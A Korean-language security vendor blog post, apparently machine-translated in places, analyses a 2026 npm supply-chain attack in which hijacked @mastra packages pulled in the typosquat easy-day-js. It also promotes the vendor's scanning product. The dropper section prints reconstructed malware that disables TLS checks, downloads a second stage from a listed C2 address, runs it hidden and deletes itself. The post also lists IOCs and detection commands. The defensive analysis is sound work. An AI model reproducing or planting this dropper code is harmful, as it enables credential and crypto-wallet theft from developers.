Mastra npm 공격: 단 한 줄의 의존성 항목이 어떻게 악성코드를 유포했는지

지원 종료(EOL)된 PHP용 php2shell 패치(CVE-2026-109618 및 CVE-2026-109619)가 출시되었습니다. 수요가 많아 평소보다 영업팀의 답변이 늦어지고 있으므로, 패치된 패키지를 가장 빠르게 확보하려면 온라인에서 Runtimes용 ELS를 구매하시기 바랍니다 (새 탭에서 열림). 패치 FAQ 읽어보기

이 블로그 글의 AI 요약으로 바로 가기

  • Perplexity를 사용하여 이 게시물을 요약해 주세요
  • Gemini로 이 게시물을 요약해 주세요

요약

내용: 2026년 6월 17일, 한 공격자가 탈취한 관리자 계정을 이용해 전역에 걸쳐 140개 이상의 패키지를 재게시했습니다. @mastra Gatsby 개발팀이 만든 AI 에이전트 프레임워크인 npm scope. 라이브러리 코드는 전혀 수정되지 않았으며, 각 릴리스에서는 단지 다음을 가리키는 의존성 한 줄만 추가되었을 뿐입니다. easy-day-js, 설치 시 원격 페이로드를 실행하는 dayjs 타이포스쿼트입니다.

영향: 약 88분 만에 140개 이상의 패키지가 재발행되었습니다(보고된 수치는 140개 이상에서 144개까지 다양합니다). 이 프로젝트는 매달 수천만 건의 다운로드를 기록하고 있습니다(공급업체들은 총 다운로드 수를 약 2,900만 건으로 추산하고 있으며; @mastra/core (이것만으로도 한 달에 약 400만 건, 일주일에 약 91만 8천 건에 달하지만), 6월 17일 이후에 설치한 경우에만 감염될 수 있으므로 실제 영향 범위는 이보다 좁습니다. 이 악성코드는 Windows, macOS, Linux에서 지속 활동하며 공격자의 인프라로 신호를 전송하는 크로스 플랫폼 정보 탈취 및 암호화폐 지갑 탈취 프로그램입니다.

상태: npm 정리 작업이 진행 중인 것으로 보입니다: easy-day-js 삭제되었으며, ehindero 계정은 소유자에서 제외되었고, 악성 최신 태그는 원상복구되었으며, Mastra는 깨끗한 버전을 순차적으로 배포하고 있습니다. 하지만 미러, 캐시, 잠금 파일, 소규모 패키지 스냅샷 및 이미 설치된 환경에는 여전히 손상된 버전이 남아 있을 수 있습니다. 영향을 받은 패키지를 설치한 모든 호스트는 @mastra 6월 17일 또는 그 이후에 발송된 소포는 반증이 있을 때까지 보안이 침해된 것으로 간주합니다.

위험도: 높음. 이 악성 코드는 npm install 실행 중, 어떤 임포트도 수행되기 전에 실행되므로, 락파일(lockfile)을 업데이트하거나 새로 설치하는 것만으로도 감염될 수 있습니다. 이는 단순히 한 번 고정해 두고 잊어버리는 문제가 아닙니다. 이는 반복적으로 나타나는 패턴으로, 전이적 종속성을 악용하고, 신뢰할 수 있는 패키지의 코드는 깨끗하게 유지한 채, 설치 후크가 작업을 수행하도록 유도하는 방식입니다.

패키지 도입에 있어 이것이 중요한 이유: Mastra의 자체 코드에는 악성 코드가 포함되지 않았습니다. 공격자는 의존성 한 줄을 추가하고 프로젝트의 정상적인 SLSA 출처 정보를 제거했기 때문에, 악성 코드가 한 단계 아래의 의존성에 존재하므로 해당 패키지의 소스 코드만 검토해서는 이를 발견할 수 없습니다. SecureChain은 릴리스가 다운스트림에서 신뢰받기 전에 온보딩 단계에서 새 버전을 분석(버전 간 차이, 신규 또는 미사용 의존성, 설치 후크, 난독화된 페이로드)함으로써 이러한 보안 허점을 메웁니다.

지금 바로 이렇게 하세요: 잠금 파일에 다음 항목이 있는지 확인하십시오. @mastra 패키지 또는 easy-day-js, 해당 소프트웨어를 설치한 모든 기기를 침해된 것으로 간주하고, 노출된 인증 정보를 주기적으로 변경하며 암호화폐 지갑을 점검하고, 두 개의 C2 주소를 차단하며, Mastra를 Provenance가 지원하는 최신 릴리스로 고정하십시오.

저도 영향을 받나요?

귀하의 조직이 다음 중 하나에 해당할 경우 영향을 받을 수 있습니다:

  • 설치한 것이 있나요? @mastra/* 패키지, 최상위 mastra 패키지, 또는 create-mastra 2026년 6월 17일 또는 그 이후
  • 설치 스크립트를 비활성화하지 않고 CI, 빌드 또는 배포 파이프라인에서 npm install을 실행합니다.
  • 의존성을 자동으로 업데이트하거나, 설치 시점에 가장 최근의 일치하는 버전으로 해결되는 캐럿 범위를 사용합니다.
  • Mastra에서 AI 에이전트나 애플리케이션을 구축하므로, 영향을 받은 호스트에는 LLM API 키, 클라우드 인증 정보 및 데이터베이스 토큰이 저장되어 있을 가능성이 높습니다.
  • Mastra 구성 요소에 의존하는 모든 패키지를 포함합니다. 위험이 전이적으로 전달되기 때문입니다.
  • 영향을 받은 설치본이 실행되었던 개발자 컴퓨터에 암호화폐 지갑 브라우저 확장 프로그램이 설치되어 있었나요?
  • 알려진 게시자, 그린 설치, 또는 이전에 문제가 없었던 종속성을 해당 릴리스가 안전하다는 증거로 간주합니다.

우선 간단히 시작해 볼 수 있는 방법은, 드롭퍼 의존성이 프로젝트 트리 내 어디에서든 해결되었는지 확인해 보는 것입니다:

npm ls easy-day-js

grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

그런 다음 호스트와 실행 프로그램에서 드로퍼가 남긴 흔적을 찾아보세요:

ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null

find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null

두 검색 중 하나라도 결과가 나오면, 아직 파일을 삭제하거나 키를 교체하지 마십시오. 먼저 호스트를 보존해야 합니다. 설치 후크는 실행 시점에 실제 페이로드를 가져온 후 스스로 삭제되었으므로, 디스크에 있는 드로퍼만으로는 전체 상황을 파악할 수 없습니다. 따라서 정리를 시작하기 전에 로그와 생성된 프로세스를 확보해야 합니다.

easy-day-js의 ‘Mastra Attack’이란 무엇인가

Mastra는 AI 에이전트, 다단계 워크플로우 및 RAG 파이프라인을 구축하기 위한 오픈소스 TypeScript 프레임워크로, 주요 LLM 제공업체, 벡터 데이터베이스 및 클라우드 배포 대상과 원활하게 연동됩니다. 전체적으로 볼 때, 이 프레임워크의 패키지들은 매달 수천만 건에 달하는 설치 횟수를 기록하고 있습니다. 이러한 광범위한 보급 범위와 더불어, Mastra 환경이 공격자가 노리는 바로 그 인증 정보를 기반으로 운영된다는 점이 결합되어, 도난당한 단 하나의 계정이 그토록 큰 가치를 지니게 된 것입니다.

사건의 전말은 다음과 같습니다. 한 공격자가 npm 계정 ‘ehindero’를 탈취했습니다. 이 계정은 전직 Mastra 기여자의 것으로, 접근 권한이 한 번도 취소된 적이 없었으며 약 16개월 동안 비활성 상태로 방치되어 있었던 것으로 알려졌습니다. npm에는 이러한 접근 권한을 자동으로 만료시키는 ‘범위 권한 만료’ 기능이 없기 때문에, 오랫동안 비활성 상태였던 기여자 계정이 전체 네임스페이스에 대한 유효한 키로 남아 있었습니다. 6월 17일 새벽, 공격자는 명백히 스크립트로 보이는 코드를 실행했는데, 이 코드는 @mastra 패키지를 대략 다운로드 순서대로 묶음 단위로 정리하여 하나씩 다시 게시했습니다. 처음 32개 정도의 패키지는 약 27분 만에 모두 설치되었으며, 140개가 넘는 패키지를 한꺼번에 처리하는 과정은 약 88분 동안 진행되었습니다.

영향을 받은 모든 패키지는 Mastra의 실제, 수정되지 않은 라이브러리 코드였으며, package.json에 단 한 줄의 새로운 내용이 추가되어 있었는데, 바로 easy-day-js. 이것이 마스트라 측의 타협안 전부입니다. 딱 한 줄뿐이죠.

easy-day-js 이것이 바로 실제 공격 수단이며, 한 단계 아래에 위치해 있습니다. 이는 주간 다운로드 수가 4,000만 건이 넘는 날짜 처리 라이브러리인 ‘dayjs’를 표절해 만든 타이포스쿼트(typosquat)로, 한눈에 보기에는 진짜와 구분하기 어려울 정도로 유사하게 복제되었습니다. 설명, 작성자 메타데이터, 홈페이지 및 저장소 URL이 모두 동일하며, 실제 dayjs.min.js 파일도 포함되어 있습니다. 이 악성 배포본에서 유일하게 의미 있는 차이점은 추가된 파일 하나와 이를 실행하는 설치 후 훅(postinstall hook)뿐입니다.

이 부분은 곰곰이 생각해 볼 가치가 있습니다. 아마도 가장 먼저 검토하게 될 패키지들은, @mastra 이러한 패키지들은 깔끔한 라이브러리 코드를 갖추고 있습니다. 악성 코드는 해당 패키지 대부분이 실제로 가져오지도 않는 종속성에 포함되어 있습니다. 이 코드는 라이브러리를 위해 아무런 작업도 수행하지 않습니다. 유일한 역할은 해결되어 설치되는 것뿐이며, 이것만으로도 훅을 발동시키기에 충분합니다.

한 줄의 코드가 어떻게 모두에게 전달되었는가: 버전 해결 기법

공격자는 예정보다 하루 앞서 은밀히 작업을 진행했다. 6월 16일 07:05(UTC)에, 관련 계정인 sergey2016이 다음 내용을 게시했다. [email protected] 설치 후크가 없는, 깔끔하고 완벽하게 작동하는 dayjs 클론입니다. 일종의 미끼죠. 이 깔끔한 버전이 Mastra 패키지에 내장되어 있으며, 다음과 같이 선언되어 있습니다:

"easy-day-js": "^1.11.21"

캐럿이 바로 핵심입니다. 캐럿 범위를 지정하면 npm은 설치 시점에 명시된 정확한 버전이 아닌, 해당 범위에 해당하는 최신 버전을 찾아 설치하도록 합니다. 따라서 [email protected] 6월 17일 UTC 기준 01:01에 드로퍼를 탑재한 상태로 서비스가 시작되면서, 해당 Mastra 패키지를 새로 설치할 때마다 악성 코드가 삽입된 버전이 자동으로 다운로드되기 시작했습니다. 그 외에는 어떠한 변경 사항도 없었습니다. @mastra 패키지가 필요했다. 독극물을 미리 준비해 둔 뒤, 전체 범위 재게시가 시작되기 11분 전에 이를 교체했다.

이 공격이 즉흥적으로 이루어진 것이 아니라는 점을 보여주는 기술적 단서가 하나 있습니다. Socket은 Mastra가 공개되기 약 19일 전인 5월 29일경, 공개 샌드박스에서 동일한 로더 샘플이 발견되었다고 보고했습니다. 이는 일회성으로 만들어진 것이 아니라 재사용된 도구였습니다.

각 악성 릴리스는 또한 Mastra의 GitHub Actions 파이프라인이 일반적으로 생성하는 SLSA 출처 증명서를 포함하지 않았으며, 선언된 mastra-ai/mastra 저장소가 게시된 아티팩트를 보증하지 않았기 때문에 여러 건이 메타데이터 불일치 검사를 통과하지 못했습니다. 이 두 가지 모두 동일한 원인을 가리키는데, 바로 프로젝트의 CI 외부에서 조직 전체 권한을 가진 토큰을 사용하여 수동으로 게시한 것입니다.

드롭퍼 내부

에 있는 악성 파일은 [email protected] 이는 설치 후 후크에 의해 실행되는 약 4.5 KB 크기의 스크립트입니다:

"scripts": {
  "postinstall": "node setup.cjs --no-warnings"
}

그리고 --no-warnings 이 플래그는 설치 과정을 지켜보는 사람이 눈치챌 수 있는 Node 런타임 경고를 억제합니다. 스크립트 자체는 base64 디코더 뒤에 배치된 회전 처리된 사용자 정의 알파벳 문자열 배열로 난독화되어 있으며, 산술 무결성 검사도 포함되어 있습니다. 이는 배열이 회전 처리되기 전에 평가되는 정적 분석을 무력화하기 위해 고안된 다층적인 구조입니다. 재구성해 보면, 설치 시 루틴은 다음과 같은 작업을 수행합니다:

// 1. Disable TLS certificate validation for the whole process
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {
  try {
    const stage2Url = 'https://23.254.164.92:8000/update/49890878';
    const stage2C2  = '23.254.164.123:443';

    // 2. Drop marker/beacon files (home or temp dir, depending on the variant)
    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');
    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);

    // 3. Fetch the second stage over the now-unverified TLS connection
    const payload = await (await fetch(stage2Url)).text();

    // 4. Write it to a random 24-hex-character filename
    const name = crypto.randomBytes(12).toString('hex') + '.js';
    const dest = path.join(os.homedir(), name);
    fs.writeFileSync(dest, payload, 'utf-8');

    // 5. Run it detached and hidden, so it outlives the install
    child_process.spawn(process.execPath, [dest, stage2C2], {
      cwd: os.homedir(), detached: true, stdio: 'ignore', windowsHide: true
    }).unref();
  } catch {}
  finally {
    // 6. Delete the dropper to remove the on-disk evidence
    fs.rmSync(__filename, { force: true });
  }
})();

모든 발걸음은 그 자리를 차지합니다. 설정 NODE_TLS_REJECT_UNAUTHORIZED=0 드롭퍼가 유효한 인증서 없이 포트 8000에서 일반 IP와 통신할 수 있게 합니다. 실제 페이로드는 타르볼 내에 절대 포함되지 않고 설치 시점에야 비로소 불러오기 때문에, 공개된 아티팩트는 크기가 작고 깔끔한 상태를 유지합니다. detached: true plus .unref() 이는 npm install이 완료된 후에도 생성된 프로세스가 계속 실행된다는 것을 의미하며, windowsHide: true Windows에서는 화면 밖으로 숨깁니다. finally 블록은 다음을 제거합니다. setup.cjs, 그래서 나중에 node_modules를 다시 살펴봐도 아무것도 나오지 않습니다.

알아두면 좋은 보고 관련 세부 사항 하나: 마커 파일과 스테이징된 페이로드가 홈 디렉터리에 저장되는지, 아니면 OS 임시 디렉터리에 저장되는지에 대해 공급업체마다 견해가 엇갈립니다. 두 곳 모두 확인해 보세요. 어느 쪽이든 동작 방식은 동일합니다.

두 번째 단계에서 실제 피해가 발생합니다. 이 악성코드는 크로스 플랫폼 정보 탈취형 악성코드로, 브라우저 기록을 수집하고 160개 이상의 암호화폐 지갑 브라우저 확장 프로그램에서 데이터를 추출하며, Windows, macOS, Linux 전반에 지속성을 확보한 뒤 C2 서버로 데이터를 유출합니다. 또한 공격자가 제공한 URL에서 가져온 다운로드 및 실행 모듈을 포함하여 명령을 수신하기도 합니다. Mastra 빌드 호스트에서 가장 가치 있는 대상은 대개 환경 정보입니다. 즉, LLM API 키, 클라우드 인증 정보, 레지스트리 및 CI 토큰 등이 해당합니다.

영향을 받는 버전을 설치했다면, 단순히 패키지 트리뿐만 아니라 호스트 전체가 침해된 것으로 간주해야 합니다. 해당 훅은 이 사건의 극히 일부에 불과합니다.

‘인테이크’에 대한 여러분의 생각을 바꿔줄 부분

이 사건을 단순히 “또 다른 타이포스쿼팅 사례”로 치부하고 넘어가고 싶은 유혹이 들 수 있다. 하지만 그렇게 하면 이번 사건에서 방어 측을 무력화시킨 진짜 요인을 간과하게 된다.

Mastra는 대체로 제대로 작동합니다. CI에서 생성된 실제 릴리스를 npm의 ‘신뢰할 수 있는 게시자(trusted-publisher)’ 절차를 통해 배포하며, 이러한 릴리스에는 SLSA 출처 정보가 포함됩니다. 문제는 Mastra가 출처 정보를 생성했지만 설치 시 이를 필수 조건으로 요구하지 않았다는 점입니다. 따라서 표준 토큰을 가진 사용자라도 인증 없이 릴리스를 게시할 수 있었고, 하류 단계에서는 이를 거부하는 곳이 전혀 없었습니다. ‘신뢰할 수 있는 게시자’ 출처 정보, 서명 검증 또는 인증을 필수로 요구하는 정책이 있었다면, 이번 일련의 릴리스에 포함된 모든 패키지가 거부되었을 것입니다.

자, 이제 코드 검토자가 무엇을 확인했을지 살펴봅시다. 영향을 받는 코드를 아무 개나 골라 @mastra 패키지를 살펴보고 라이브러리 소스 코드를 읽어보세요. 소스 코드는 전혀 수정되지 않았습니다. package.json에는 정확히 한 줄의 새로운 내용이 추가되었는데, 날짜 라이브러리처럼 이름이 붙은 패키지에 대한 의존성입니다. 하지만 해당 패키지는 이 라이브러리를 전혀 가져오지 않습니다. 만약 검토 과정에서 명시된 패키지의 자체 라이브러리 소스 코드만 확인한다면, 그 소스 코드에는 문제가 없으므로 아무런 문제도 발견하지 못할 것입니다.

바로 이것이 문제점이며, 이는 Tiledesk와 같은 사고의 배후에 있는 ‘유지보수자가 악성 소스 코드를 배포한다’는 문제와 동일한 양상을 띱니다. 즉, 무결성 침해는 신뢰 신호가 가리키는 지점보다 더 앞선 단계나 한 단계 위에서 발생합니다. 2단계 인증(2FA)과 익숙한 게시자는 해당 릴리스가 실제 계정에서 나온 것임을 확인해 줍니다. 하지만 이 방법들은 릴리스에 악용 가능한 종속성이 포함되었는지, 혹은 해당 릴리스가 자체 파이프라인이 일반적으로 생성하는 출처 정보 없이 배포되었는지는 알려주지 않습니다.

SecureChain은 바로 이러한 구체적인 취약점을 해결하기 위해 개발되었습니다. SecureChain은 배포 이벤트를 무조건 신뢰하는 대신 온보딩 단계에서 버전 간 차이점을 분석하므로, 가장 최근의 정상적인 Mastra 릴리스와 이번 릴리스 사이에서 실제로 무엇이 변경되었는지 면밀히 검토합니다. 예를 들어, 성숙한 패키지에 사용되지 않은 새로운 종속성이 추가되었는지, 출처 증명 정보가 제거되었는지, 그리고 한 단계 더 깊이 들어가면, 설치 후 훅이 난독화된 페이로드를 실행하고 있는지 등을 확인합니다.

바로 이러한 항목들—사용된 적이 없는 새로운 종속성, 설치 시 실행 후크, 난독화, 런타임 페치, 데이터 유출 행위—이야말로 릴리스가 다운스트림으로 배포되기 전에 경각심을 불러일으켜야 할 요소들입니다.

Mastra 공격은 한 가지 사실을 분명히 보여주었습니다. 바로 겉보기에는 문제가 없어 보이는 패키지라도 여전히 악성코드를 유포할 수 있다는 점입니다.

SecureChain 다운로드
SecureChain은 설치 전에 의심스러운 변경 내역, 새로 추가되거나 사용되지 않는 종속성, 숨겨진 설치 후크, 정보 유출 행위 등을 포함해 오픈소스 구성 요소를 철저히 검토한 후, 지원 종료(EOL) 이후까지 이를 안전하게 보호합니다.

완화

이를 단순히 버전 번호를 올리기 위한 명분이 아니라, 인입 및 현상기 노출 상태를 점검할 기회로 삼으십시오.

  • 의존성 트리를 확인하세요 실행 npm ls easy-day-js 그리고 락 파일(package-lock.json, yarn.lock, pnpm-lock.yaml)에서 다음을 grep으로 검색하세요. @mastra, mastra, 그리고 easy-day-js. CI 환경뿐만 아니라 여러 저장소와 개발자 컴퓨터에서도 이 작업을 수행해야 합니다. 6월 17일 또는 그 이후에 설치된 캐럿 범위만으로도 페이로드를 가져왔을 가능성이 충분합니다.
  • Treat affected hosts as compromised If an affected version installed anywhere, the dropper disabled TLS validation in-process and launched a detached child fetched at runtime. Isolate the host, hunt for and kill any detached Node process spawned around install time, remove the random <24-hex>.js file and the .pkg_history / .pkg_logs markers from the home or temp directory, and check for the OS-specific persistence artifacts the second stage installs. Preserve logs before you clean.
  • 노출된 비밀 정보를 주기적으로 교체하고 지갑을 점검하십시오. 호스트나 러너에서 접근 가능한 모든 인증 정보(클라우드 키, LLM API 키, 레지스트리 및 CI 토큰, SSH 키, 빌드 과정에서 읽을 수 있는 환경 변수에 포함된 모든 항목 등)를 주기적으로 교체하십시오. 2단계 공격이 암호화폐 지갑 확장 프로그램을 표적으로 삼기 때문에, 영향을 받은 개발자 컴퓨터에 있는 모든 지갑을 점검하고, 무단 거래가 발생하지 않는지 주시하며, 고가치 지갑은 새로운 시드 문구로 전환하십시오.
  • C2 차단 및 출구 트래픽 검토: 23.254.164.92 및 23.254.164.123으로 향하는 아웃바운드 트래픽을 차단하고, 6월 17일 01:12 UTC 이후 해당 IP 주소 중 어느 한 곳으로의 연결 내역을 확인하기 위해 프록시, 방화벽 및 넷플로우 로그를 검토하십시오. 인프라가 지속적으로 변경되므로, IP 차단은 정리 및 과거 내역 검토를 위한 조치일 뿐, 지속적인 방어 수단은 아닙니다.
  • 출처가 확인된 릴리스에 고정하고 타이포스쿼트를 차단하세요 모든 Mastra 종속성을 GitHub Actions를 통해 출처 정보가 포함된 최신 버전으로 고정하고, 잠금 파일을 검증한 다음, 다음을 추가하세요. easy-day-js 레지스트리 차단 목록에 추가하십시오. 1.11.21과 1.11.22를 모두 포함시키십시오. 미끼 파일은 드로퍼가 포함되어 있지 않더라도 여전히 공격자가 제어하고 있습니다.
  • 기본적으로 설치 스크립트를 비활성화합니다 npm install --ignore-scripts 이 특정 유형의 설치 후 드로퍼를 무력화합니다. 가능한 경우 CI에서 이를 기본값으로 채택하고, 빌드 스크립트가 진정으로 필요한 소수의 종속성 목록을 문서화하여, 예외가 묵시적인 관행이 아닌 의도적인 결정이 되도록 하십시오.
  • 서명 및 출처 검증 강화: 고위험 및 자사 의존성에 대해서는 신뢰할 수 있는 게시자의 출처, 서명 또는 인증을 의무화해야 합니다. 이번 릴리스 물결에 포함된 모든 릴리스는 일반적인 출처 정보를 제공하지 않았기 때문에, 검증 기능을 갖춘 설치 정책이었다면 이를 거부했을 것입니다. 또한 새로 게시된 버전에 대한 대기 기간을 두는 것도 도움이 되는데, 많은 악성 릴리스가 게시된 지 몇 시간 내에 적발되기 때문입니다.

탐지

단일 스캐너 결과만으로는 노출 여부를 확인할 수 없습니다. 증거는 락 파일, 설치 로그, 호스트 파일 시스템, 네트워크 로그, 프로세스 목록 등 여러 곳에 흩어져 있습니다. 또한 운영자가 인프라를 순환 배치하고 파일 이름을 무작위로 지정하기 때문에, 행동 패턴을 나타내는 신호는 원자적 증거보다 더 오랫동안 남아 있습니다.

유용한 신호로는 다음이 있습니다:

  • npm install 실행 중에 실행 중인 setup.cjs 노드 프로세스
  • NODE_TLS_REJECT_UNAUTHORIZED=0은 설치 스크립트에 의해 설정됩니다.
  • 설치 중이나 설치 직후에 생성된, 콘솔 출력이 없는 독립형 Node 자식 프로세스
  • 홈 디렉터리나 임시 디렉터리에 있는 ~/.pkg_history 및 ~/.pkg_logs 마커 파일
  • 홈 디렉터리나 임시 디렉터리에 있는 임의의 24자 16진수 .js 파일
  • 빌드 호스트 또는 개발자 컴퓨터에서 23.254.164.92:8000 또는 23.254.164.123:443으로의 아웃바운드 연결
  • Windows, macOS, Linux에서 각각 NvmProtocal, com.nvm.protocal.plist, nvmconf.service라는 이름의 OS별 영구 저장 아티팩트 [게시 전에 정확한 이름을 확인하십시오; 2차 출처에서 보고됨]
  • 어떤 @mastra/* 또는 mastra 잠금 파일 내의 2026-06-17 날짜 버전이 포함된 경우, 특히 SLSA 출처 정보가 없는 상태로 게시된 파일의 경우
  • easy-day-js 해결된 트리 내 어디에나 나타나는
  • 보도에 따르면 Microsoft Defender for Endpoint는 설치 시점의 페이로드를 ‘Trojan:JS/ObfusNpmJs’로 식별한다고 합니다. 따라서 npm 설치 과정에서 해당 시그니처에 대한 EDR 경보가 발생했다면, 이를 유력한 단서로 간주할 가치가 있습니다 [게시 전 확인 필요].

주요 침해 징후:

  • [email protected] 무기화된 드로퍼로서
  • [email protected] ‘클린 디코이’로서, 여전히 공격자가 제어 중
  • 출판 관련 계정: ehindero는 @mastra 패키지, 그리고 sergey2016 님께 easy-day-js
  • C2 및 페이로드: https://23.254.164.92:8000/update/49890878 및 23.254.164.123:443
  • 설치 트리거: “postinstall”: “node setup.cjs –no-warnings”

이러한 점검은 시작점일 뿐, 문제가 전혀 없다는 보장은 아닙니다.

우선순위별 개선 조치 체크리스트

  1. 잠금 파일 및 디렉터리 트리 스캔: 모든 저장소와 개발자 컴퓨터에서 다음을 검색합니다. @mastra, mastra, create-mastra, 그리고 easy-day-js.
  2. 격리 대상 호스트: 정리 작업 전에 문제가 있는 설치본을 실행한 모든 항목을 격리하십시오.
  3. 증거 보존: 아티팩트를 삭제하기 전에 설치 로그, 처리 내역 및 마커 파일을 보관하십시오.
  4. 비밀 정보 순환: 영향을 받은 모든 호스트에서 접근 가능한 클라우드, LLM, 레지스트리, CI 및 SSH 인증 정보를 순환합니다.
  5. 지갑 점검: 영향을 받은 개발자 컴퓨터에 설치된 암호화폐 지갑 및 확장 프로그램을 확인하고, 고액 지갑의 시드 문구를 새로운 것으로 변경하십시오.
  6. 지속성 제거: 2단계에서 Windows, macOS 및 Linux에 설치하는 OS별 지속성 설정을 확인하고 제거합니다.
  7. C2 블록과 타이포스쿼트: 23.254.164.92와 23.254.164.123을 차단하고, 두 주소 모두 차단 목록에 추가하십시오. easy-day-js 버전.
  8. 고정 및 검증: Mastra를 출처 정보가 확인된 최신 릴리스에 고정하고, 설치 시 인증을 요구합니다.
  9. 하든의 발언: 기본값은 --ignore-scripts 가능한 경우, 새 버전에 대해 쿨다운 기간을 적용하고, 새로 추가되거나 사용되지 않은 종속성을 그 자체로 하나의 신호로 간주하여 검토하십시오.

이것이 단순한 한 번의 캠페인보다 더 중요한 이유

마스트라 공격이 흥미로운 이유는 그 규모 때문이 아닙니다. 물론 그 규모도 실재하긴 하지만요. 이 공격이 흥미로운 이유는 악의적인 변경 사항이 어디에 숨어 있었는지, 그리고 그 양이 얼마나 미미했는지에 있습니다. 그 외에는 완전히 정상적인 패키지 안에 있는 단 한 줄의 코드가, 한 단계 떨어진 종속성을 가리키며, 누구도 어떤 것도 임포트하기 전에 실행되었던 것입니다.

이는 대부분의 인테이크 제어 메커니즘이 기반으로 하는 가정을 무너뜨립니다. 익숙한 게시자라고 해서 안전하다는 보장은 없습니다. 그린 설치라고 해서 안전하다는 보장은 없습니다. 소스 코드가 깨끗한 패키지라고 해서 안전하다는 보장은 없습니다. 왜냐하면 사용자가 읽는 소스 코드와 피해를 입히는 종속성은 서로 다른 아티팩트이기 때문입니다. 또한 서명이나 2단계 인증(2FA)은 누가 게시했는지를 확인해 줄 뿐, 어떤 종속성을 불러왔는지는 확인해 주지 않습니다.

합리적인 접근 방식은 헤드라인 패키지만 보는 것이 아니라 릴리스 전체를 살펴보는 것입니다. 즉, 이전 버전 이후 무엇이 변경되었는지, 새로운 의존성이 추가되었는지 및 실제로 이를 사용하는 부분이 있는지, 설치 시 후크가 실행되는지, 빌드에 평소와 같은 출처 정보가 포함되었는지, 그리고 소스 트리 내의 어떤 부분이 설치 시 코드를 가져와 실행하는지 등을 확인해야 합니다. 이것이 바로 ‘인테이크(intake) 시점’의 검토 과정이며, 소스 코드 검토와 게시자 신뢰라는 두 가지 절차 모두에서 간과되기 쉬운 한 줄짜리 의존성 교체조차 포착해 낼 수 있는 방법입니다.

SecureChain은 바로 이러한 문제를 해결하기 위해 개발되었습니다. 이 솔루션은 조직에 오픈소스 구성 요소를 위한 검증된 소스를 제공하며, 구성 요소의 전체 수명 주기 동안 악성코드 검사, 소스 코드 수준 검사, 출처 추적, 지속적인 CVE 대응 기능을 지원합니다. 새로운 패키지 버전의 경우, 버전 간 차이점을 분석하여 신규 및 미사용 종속성, 설치 시 실행 후크, 난독화된 페이로드, 정보 유출 행위 등 의심스러운 변경 사항을 하류 단계에서 신뢰되기 전에 미리 식별합니다.

Mastra 사례처럼, 캐리어 패키지가 정상적으로 배포되었고 악성코드가 한 단계 아래의 종속성으로 위치한 경우, 이러한 diff 수준에서의 관점이 배포 이벤트와 여러분의 빌드 사이에 놓인 유일한 장벽이 됩니다.

지금 SecureChain을 살펴보세요 →

자주 묻는 질문

Mastra 패키지 자체가 악성 프로그램이었나요? 아닙니다. 해당 라이브러리 코드는 변경되지 않았습니다. 영향을 받은 각 릴리스에는 easy-day-js, 그리고 그 패키지에는 드로퍼가 포함되어 있었습니다. 이 악성코드는 설치 과정에서 한 단계 아래에서 실행되었기 때문에, @mastra 라이브러리 소스만으로는 충분하지 않습니다.

저는 lockfile만 업데이트했을 뿐, Mastra 패키지는 한 번도 가져온 적이 없습니다. 괜찮을까요? 아마 아닐 겁니다. 이 페이로드는 npm install 과정에서, 어떤 임포트도 수행되기 전에 postinstall 훅을 통해 실행됩니다. 영향을 받는 패키지를 해결하고 설치하거나, 캐럿 범위가 끌어오도록 허용하는 [email protected], 이것만으로도 이를 유발하기에 충분합니다.

왜 악성코드가 정상적인 미끼 버전을 통해 확산되었을까요? Mastra 패키지는 하루 전에 공개된 정상 버전인 “easy-day-js”: “^1.11.21”에 의존하고 있었습니다. 캐럿 범위(^)는 설치 시점에 가장 최근에 일치하는 버전으로 해석되므로, 악성 코드가 삽입된 1.11.22 버전이 공개되자마자 새로 설치하는 사용자들은 Mastra 패키지에 별도의 변경 없이도 해당 버전을 자동으로 가져오게 되었습니다.

SLSA 출처 정보나 서명이 여기서 누군가를 보호해 주었을까? 제대로 시행되었다면 가능했을 것이다. Mastra는 CI 배포 시 출처 정보를 생성했지만, 악의적인 배포본에서는 이를 생략했다. 서명을 검증하거나 인증을 요구하는 설치 정책이 있었다면, 해당 배포본들은 거부되었을 것이다.

이 사건의 배후는 누구였을까? 배후 주체는 아직 확인되지 않았다. Snyk는 설치 시점에 자동으로 삭제되는 드로퍼 형태의 공격 기법이 2026년 초 발생한 Axios npm 침해 사건과 유사하다고 지적했다. 마이크로소프트 위협 인텔리전스(Microsoft Threat Intelligence)는 해당 사건을 자사가 ‘Sapphire Sleet(BlueNoroff)’로 추적 중인 공격 주체의 소행으로 지목한 바 있다. 다만 Snyk는 이번 사건이 해당 공격 주체의 소행이라는 확증된 연관성은 아니며, 단지 주목할 만한 패턴일 뿐이라고 분명히 밝혔다. 브랜드 이름이 아니라, 이 공격 기법 자체를 방어해야 할 대상으로 간주해야 합니다.

가장 신속하게 효과를 볼 수 있는 완화책은 무엇인가요? 가능한 경우 설치 스크립트를 비활성화하십시오. npm install --ignore-scripts postinstall 후크를 차단하여 이 특정 의존성 트로이목마 경로를 무력화합니다. 이를 출처 정보가 확인된 릴리스에 고정하는 방법 및 차단 목록 등록과 함께 사용하십시오. easy-day-js.

제가 직접 실행하는 npm 패키지는 거의 없습니다. 그래도 보안 위협에 노출될 가능성이 있을까요? 그럴 수도 있습니다. 이 위험은 전이적입니다. 트리 내의 어떤 요소라도 보안이 침해된 Mastra 구성 요소에 의존하고 있다면, 해당 구성 요소에 대한 의존성을 상속받은 것입니다. easy-day-js 그와 함께.

가장 중요한 장기적 해결책은 무엇일까요? 익숙한 배포자나 겉보기에는 깨끗해 보이는 패키지를 안전하다는 증거로 간주하는 것을 그만두고, 신뢰 여부를 판단하는 과정을 도입 단계로 옮겨야 합니다. 환경에 이미 도입된 후 최종 아티팩트만 스캔하는 대신, 버전 간 차이점을 검토하고, 새로 추가되거나 사용되지 않은 종속성을 표시하며, 출처를 확인하고, 설치 시 실행되는 내용을 점검해야 합니다.

출처

요약
Mastra npm 공격: 단 한 줄의 의존성 항목이 어떻게 악성코드를 유포했는지
기사 이름
Mastra npm 공격: 단 한 줄의 의존성 항목이 어떻게 악성코드를 유포했는지
설명
